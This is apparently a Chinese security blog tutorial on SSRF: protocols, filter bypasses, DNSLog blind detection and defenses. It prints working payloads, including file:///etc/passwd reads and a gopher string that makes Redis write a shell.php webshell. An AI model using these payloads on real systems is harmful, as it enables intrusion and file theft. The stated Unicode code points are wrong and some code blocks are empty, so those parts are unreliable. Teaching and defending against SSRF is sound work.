SSRF服务端请求伪造攻击
一直准备把之前在CSDN写的内容都翻新一下重新搬运到现在的博客下,今天偶然遇到了一个可能存在SSRF的漏洞点,但是很多细节一瞬间没办法想起来了,正好趁现在来整理整理。
简介
服务端请求伪造(Server Side Request Forgery, SSRF),是一种攻击者在不具有服务器权限的情况下,利用服务器的漏洞来伪装成服务器发起请求的攻击。由于此时请求是由服务器发起的,所以在一般情况下,SSRF攻击的目标一般为外网无法正常访问的内部系统。
简单来说:利用一个可向外发起请求的服务器当作跳板访问其他服务。
SSRF漏洞分类
根据是否回显可以划分为3类:
- Basic SSRF:在响应内容中返回结果。例如,传送一个网址,会直接返回这个网址的界面或对应的html内容。
- Blind SSRF:响应中不返回服务器中的任何信息。
- Semi SSRF:响应中不返回请求结果的所有详细信息,但是会暴露一些数据信息。
常见参数(测试时可额外留意)
share、wap、url、link、src、source、target、u、3h、display、sourceURL、imageURL、domain、……
SSRF原理
SSRF大多是由于服务端提供了从其他服务器应用获取数据的功能,并且没有对目标地址做正确的过滤与限制。攻击者就有可能从服务器访问指定URL的网页文本内容、加载预定地址的图片、文档等,或者说篡改获取资源的请求发送给服务器(且服务器未检查这个请求是否是合法的),然后服务器以他的身份来访问其他资源。
在PHP中以下函数的使用不当可能会导致SSRF:
1 | file_get_contents() |
SSRF危害
- 扫描内网,获取内网主机端口开放情况等信息
- 读取任意文件,使用file://协议读取
- 与内网服务交互,进而造成远程代码执行。例如,如果主机上开放了Redis等服务,可进行RCE:
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/tmp
- 攻击外部服务,例如用于DDOS等
- ……
可利用协议
如果发现了SSRF的漏洞点,那么就可以通过一些伪协议来实现一些功能。
file://
从文件系统中获取文件内容,例如file:///etc/passwd
- file协议后需要加文件的绝对路径
- file协议访问的是本地的静态资源
- 条件:allow_url_fopen:off/on allow_url_include :off/on
dict://
字典服务协议,访问字典资源,例如dict:///ip:port/- 功能:探测内网主机、探测端口开放情况、执行命令
- 执行命令:dict://ip:port/命令:参数
- 一般用dict://ip:port/info探测端口应用信息
gopher://
分布式文档传递服务,可用gopherus工具生成payload- 通过gopher协议,可以利用其对内网资源进行访问,使用gopherus可以针对不同服务来构造利用该服务器进行内网资源访问的payload
- gopher协议一般在SSRF的利用中,用来攻击redis、mysql、fastcgi、smtp等服务
- 用法:gopher://
: / ,其中gopher-path就是发送的请求数据包 - gopherus使用(以MySQL为例):如果对方没有给数据库设置密码的话,就可以通过其得到数据库中的数据,并且也可以上传恶意文件到他的系统中:
gopherus --exploit mysql
即可得到payload,具体使用见工具官方文档。
绕过姿势
使用@
绕过
原理:解析URL时的规则问题,NodeJS url、Perl URI、Go net/url、PHP parser_url以及Ruby addressable解析函数解析url地址时,都会解析@符号后的地址,只有使用curl请求时,解析url才会解析到@前的地址。
使用域名
如果手上有可控域名,可以将域名指向想要的地址。
进制转换
可以将ip地址转换为八、十、十六进制,也就是将每一段的ip都用其他进制来转换。
例如,127.0.0.1还可以表示为:
十进制:2130706433
八进制:0177.00.00.01
十六进制:0x7f.0x0.0x0.0x1
本地回环地址的简写
127.0.0.1一般用以下方式也可以表示:
这是因为ipv4地址中的缺失都会被填充为0,进而,127.1.0.1也可以被表示为127.1.1。
特殊字符绕过
例如,127.0.0.1等同于127。0。0。1
近似表示
127.0.0.1也可以表示为① ② ⑦.⓿.⓿.①,这是因为它们是全角数字字符(也叫Unicode数字字符),这些字符在某些情况下可以作为数字来表示,并且具有与常规阿拉伯数字相对应的值。
- ① 对应的是 Unicode 字符 U+2474,表示数字 1。
- ② 对应的是 Unicode 字符 U+2475,表示数字 2。
- ⑦ 对应的是 Unicode 字符 U+2476,表示数字 7。
- ⓿ 对应的是 Unicode 字符 U+24FF,表示数字 0。
短链接绕过
有时可能会存在过滤特定IP或域名的情况,可以尝试制作短链接:
302跳转绕过
当被限制只能使用http或https协议时,可通过Header函数绕过限制,例如在一个vps上创建一个文件,其中内容可以为:
1 | header("Location: file:///etc/passwd"); |
此时将其放置到vps中,即可通过http(s)://vps地址
来实现目的。
或是远程加载,创建一下302.php文件:
1 |
|
使用ssrf漏洞点远程访问,可以得到以下payload,用于写webshell:
1 | http://vulnerable.com/ssrf.php?ip=127.0.0.1&port=6379&s=gopher&data=_CONFIG%20SET%20dir%20%2Ftmp%0D%0ACONFIG%20SET%20dbfilename%20shell.php%0D%0ASAVE%0D%0A |
构造出来的payload其实就是:
1 | gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20%2Ftmp%0D%0ACONFIG%20SET%20dbfilename%20shell.php%0D%0ASAVE%0D%0A |
gopher的payload:
1 | _CONFIG SET dir /tmp |
写文件内容:
1 | CONFIG SET dir /tmp |
使用DNSLog实现无回显SSRF探测
被问倒了被问倒了,前两天面试被问到如果遇到SSRF没有回显的情况下如何利用,一时大脑短路没想起来,专门去看了一圈才发现,去年ciscn的时候,web就有一题是这种情况。以此篇总结一下。
当SSRF有回显时,可以直接看到服务器的响应,也可以帮助我们确认漏洞是否存在或查看返回内容。而无回显的情况下意味着服务器不会直接将访问结果返回给我们,就增加了一些利用难度。
原理:即使服务器不会返回请求结果,但是DNS查询是可感知的,我们可以让服务器访问一个带有自己控制的域名,监控域名解析记录,以此确认SSRF是否成功。
一些在线的DNSLog平台:
1 | http://ceye.io |
如果有自己的服务器和域名,可以使用github上的一个工具搭建自己的DNSLog平台:https://github.com/BugScanTeam/DNSLog
DNSLog平台的使用
例如,使用www.dnslog.cn,点击`Get SubDomain`,可以获取到一个三级域名,访问该域名后,就可以得到一条解析记录:
但是如果访问这个域名多次,会发现并不会无限的产生记录,这是因为DNS缓存了的原因,碰到一个新的域名,如果不知道它的地址的话,在多次查询后,就会得到记录,也就不会有新的记录产生。
此时可以选择在域名之前加入一个1.xxx,使其变成新的域名,再重新访问后就有记录了。
使用DNSLog判断是否存在SSRF漏洞
当ssrf的漏洞点无回显时,就可以借助DNSLog来判断漏洞点的存在,在ssrf的利用点使用平台生成的域名访问,如果在dnslog平台上得到解析,就可侧面证明漏洞点的存在,可进一步配合其他漏洞点利用。
SSRF的防护思考
- 过滤返回消息,验证服务器返回的内容是否存在敏感信息。
- 禁用高危协议,例如:file、gopher、dict等,通过设黑名单或设置白名单只允许http/https协议。
- 禁止302跳转,或每跳转一次都进行校验目的地址是否为内网地址或合法地址。
- 设置URL白名单,设置只允许访问特定的、允许的url地址,一般用于需要访问的url范围较小的情况。
- 限制访问内网IP
- 限制请求的端口为http的常用端口,或根据业务的需求开放的远程调用服务的端口。